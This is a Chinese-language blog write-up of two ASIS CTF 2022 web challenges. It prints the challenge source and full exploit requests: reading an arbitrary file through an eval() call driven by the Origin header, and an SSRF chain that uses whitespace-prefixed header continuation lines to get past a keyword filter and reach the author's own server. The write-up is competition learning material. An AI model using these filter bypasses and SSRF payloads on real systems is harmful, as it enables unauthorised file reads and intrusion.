2022AsisctfWP-Web

2022Asisctf

比赛四个题, 比赛时间有点阴间, 晚上一点多开始看题,做到早上五点多才回去睡觉(时间几乎熬在Firewalled上面了...), 第二天直接睡到晚上六点, 一天直接没了, 属实麻瓜┭┮﹏┭┮

  1. flask取变量request.origin(176解)
  2. http对以空格开始的请求头的特殊处理(15解)
  3. 第三第四都没做(太菜了,就算做了也出不了...), 第三个题看了一遍源码调用了chrom浏览器, 又有eval函数,不知道是不是chrom内核漏洞或者nodejs代码的处理反正不会做了, 等wp出了学一下(第三题xtr3解,第四题hugeblog0解)

Beginner ducks

web的签到, 从python当前环境中取变量(只能有大小写字母和.)然后将取出的值作为文件名读取

直接使用print(dir(request))输出全部request的成员

['__annotations__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_cached_json', '_get_file_stream', '_get_stream_for_parsing', '_load_form_data', '_parse_content_type', 'accept_charsets', 'accept_encodings', 'accept_languages', 'accept_mimetypes', 'access_control_request_headers', 'access_control_request_method', 'access_route', 'application', 'args', 'authorization', 'base_url', 'blueprint', 'blueprints', 'cache_control', 'charset', 'close', 'content_encoding', 'content_length', 'content_md5', 'content_type', 'cookies', 'data', 'date', 'dict_storage_class', 'encoding_errors', 'endpoint', 'environ', 'files', 'form', 'form_data_parser_class', 'from_values', 'full_path', 'get_data', 'get_json', 'headers', 'host', 'host_url', 'if_match', 'if_modified_since', 'if_none_match', 'if_range', 'if_unmodified_since', 'input_stream', 'is_json', 'is_multiprocess', 'is_multithread', 'is_run_once', 'is_secure', 'json', 'json_module', 'list_storage_class', 'make_form_data_parser', 'max_content_length', 'max_form_memory_size', 'max_forwards', 'method', 'mimetype', 'mimetype_params', 'on_json_loading_failed', 'origin', 'parameter_storage_class', 'path', 'pragma', 'query_string', 'range', 'referrer', 'remote_addr', 'remote_user', 'root_path', 'root_url', 'routing_exception', 'scheme', 'script_root', 'server', 'shallow', 'stream', 'trusted_hosts', 'url', 'url_charset', 'url_root', 'url_rule', 'user_agent', 'user_agent_class', 'values', 'view_args', 'want_form_data_parsed']

一个个试一下最后确定origin参数可用(request.origin)取出的就是请求头中的origin

from flask import Flask,request,Response
import random
import re

app = Flask(__name__)
availableDucks = ['duckInABag','duckLookingAtAHacker','duckWithAFreeHugsSign']
indexTemplate = None
flag = None

@app.route('/duck')
def retDuck():
    what = request.args.get('what')
    #print(dir(request))
    if(not what or re.search(r'[^A-Za-z\.]',what)):
        return 'what?'

    with open(eval(what),'rb') as f:
        return Response(f.read(), mimetype='image/jpeg')

if(__name__ == '__main__'):
    app.run(port=8000)

payload:

GET /duck?what=request.origin HTTP/1.1
Host: ducks.asisctf.com:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://ducks.asisctf.com:8000/duck?what=request.origin
Connection: close
Upgrade-Insecure-Requests: 1
origin: /flag.txt

image-20221016010716309

Firewalled

题目主要是两个点:

  1. 字典检测str是否在字典中比对的是key
  2. http将请求头中已空行为开头的数据当做上一行请求头参数的延续, 忽略两个header参数之间的\r\n直接将数据拼接
version: "3.9"

services:
  flag-container:
    build: ./flag-container
    environment:
      - FLAG=ASIS{test-flag}
    restart: always
  firewalled-curl:
    build: ./firewalled-curl
    ports:
      - "8000:80"
    restart: always

被映射在外的服务:

#!/usr/bin/env python3
from flask import Flask,Response,request
import time
import socket
import re
import base64
import json

isSafeAscii = lambda s : not re.search(r'[^\x20-\x7F]',s)
isSafeHeader = lambda s : isSafeAscii(s)
isSafePath = lambda s : s[0] == '/' and isSafeAscii(s) and ' ' not in s
badHeaderNames = ['encoding','type','charset']
unsafeKeywords = ["flag"]

app = Flask(__name__)
application = app

def isJson(s):
    try:
        json.loads(s)
        return True
    except:
        return False

def checkHostname(name):
    name = str(name)
    port = '80'
    if(':' in name):
        sp = name.split(':')
        name = sp[0]
        port = sp[1]

    if(
        (
        re.search(r'^[a-z0-9][a-z0-9\-\.]+$',name) or
        re.search(r'^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$',name)
        ) and
        0 < int(port) < 0x10000
    ):
        return name,int(port)
    return Exception('unsafe port'),Exception('unsafe hostname')

def recvuntil(sock,u):
    r = b''
    while(r[-len(u):] != u):
        r += sock.recv(1)
    return r

def checkHeaders(headers):
    newHeaders = {}
    if(type(headers) is not dict):
        return Exception('unsafe headers') 
    for headerName in headers:
        headerValue = str(headers[headerName])
        if((isSafeHeader(headerName) and ':' not in headerName) and isSafeHeader(headerValue)):
            isBad = False
            for badHeaderName in badHeaderNames:
                if(badHeaderName in headerName.lower()):
                    isBad = True
                    break
            for badHeaderValue in unsafeKeywords:
                if(badHeaderValue in headerValue.lower()):
                    isBad = True
                    break
            if(isBad):
                return Exception('bad headers')
            newHeaders[headerName] = headerValue
    return newHeaders

def checkMethod(method):
    if(method in ['GET','POST']):
        return method
    return Exception('unsafe method')

def checkPath(path):
    if(isSafePath(path)):
        return path
    return Exception('unsafe path')

def checkJson(j):
    if(type(j) == str):
        for u in unsafeKeywords:
            if(u in j.lower()):
                return False
    elif(type(j) == list):
        for entry in j:
            if(not checkJson(entry)):
                return False 
    elif(type(j) == dict):
        for entry in j:
            if(not checkJson(j[entry])):
                return False 
    else:
        return True

    return True

@app.route('/req',methods=['POST'])
def req():
    params = request.json

    hostname,port = checkHostname(params['host'])
    headers = checkHeaders(params['headers'])
    method = checkMethod(params['method'])
    path = checkPath(params['path'])
    returnJson = bool(params['returnJson'])
    body = None

    for p in [hostname,headers,body,method,path]:
        if(isinstance(p,Exception)):
            return {'success':False,'error':str(p)}

    if(method == 'POST'):
        body = str(params['body'])

    httpRequest = f'{method} {path} HTTP/1.1\r\n'
    if(port == 80):
        httpRequest+= f'Host: {hostname}\r\n'
    else:
        httpRequest+= f'Host: {hostname}:{port}\r\n'
    httpRequest+= f'Connection: close\r\n'
    if(body):
        httpRequest+= f'Content-Length: {str(len(body))}\r\n'
    for headerName in headers:
        httpRequest+= f'{headerName}: {headers[headerName]}\r\n'
    httpRequest += '\r\n'
    if(body):
        httpRequest += body
    httpRequest = httpRequest.encode()

    with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as sock:
        sock.settimeout(1)
        sock.connect((hostname,port))
        sock.sendall(httpRequest)

        statusCode = int(recvuntil(sock,b'\n').split(b' ')[1])
        headers = {}
        line = recvuntil(sock,b'\n').strip()
        while(line):
            headerName = line[:line.index(b':')].strip().decode()
            headerValue = line[line.index(b':')+1:].strip().decode()
            if(isSafeHeader(headerName) and isSafeHeader(headerValue)):
                headers[headerName] = headerValue
            line = recvuntil(sock,b'\n').strip()
        bodyLength = min(int(headers['Content-Length']),0x1000)
        body = b''
        while(len(body) != bodyLength):
            body += sock.recv(1)
        sock.close()

        if(isJson(body.decode())):
            if(not checkJson(json.loads(body.decode()))):
                return {'success':False,'error':'unsafe json'}
            headers['Content-Type'] = 'application/json'
        else:
            headers['Content-Type'] = 'application/octet-stream'

        if(returnJson):
            body = base64.b64encode(body).decode()
            return {'statusCode':statusCode,'headers':headers,'body':body,'req':httpRequest.decode()}

        resp = Response(body)
        resp.status = statusCode

        for headerName in headers:
            for badHeaderName in badHeaderNames:
                if(badHeaderName not in headerName.lower()):
                    resp.headers[headerName] = headers[headerName]
        return resp

@app.route('/')
def index():
    resp = Response('hi')
    resp.headers['Content-Type'] = 'text/plain'
    return resp

if(__name__ == '__main__'):
    app.run(port=8000)

socket访问的SSRF服务

#!/usr/bin/env python3
from flask import Flask,request
import requests
import json
import os

app = Flask(__name__)
application = app
flag = os.environ.get('FLAG')

@app.route('/flag')
def index():
    args = request.args.get('args')

    try:
        r = requests.post('http://firewalled-curl/req',json=json.loads(args)).json()
        if('request' in r and 'flag' in r['request'] and 'flag' in request.headers['X-Request']):
            return flag
    except:
        pass
    return 'No flag for you :('

if(__name__ == '__main__'):
    app.run(port=8000)
  1. host

image-20221015001948953

image-20221015002030426

  1. Header请求头headers

    • key只能是可打印字符,且里面不能有:
    • value只能是可打印字符
    • key和value均不能有['encoding','type','charset']
  2. 请求方式method

    只能是GETPOST

  3. Path

    • 首位为/
    • 全部为可打印字符
    • 不包含空格
  4. returnJson

    转为bool类型

  5. body

    被转为str类型

payload

POST /req HTTP/1.1
Host: firewalled.asisctf.com:9000
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 343
Content-Type: application/json

{"host": "flag-container", "headers":

 {"X-Request": "x1",
" X-Request": "x2",
"  X-Requestflag": "x3"
},

 "method": "GET", "path": "/flag?args={\"host\":\"myvps:port\",\"headers\":{\"Content-Length\":\"3\"},\"method\":\"POST\",\"path\":\"/flag\",\"returnJson\":false,\"body\":\"x\"}", "returnJson": false, "body": "x1=x2"}

VPS返回数据:

{"request": {"flag": "xxx"}}

img

2022_10_15 23:00

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇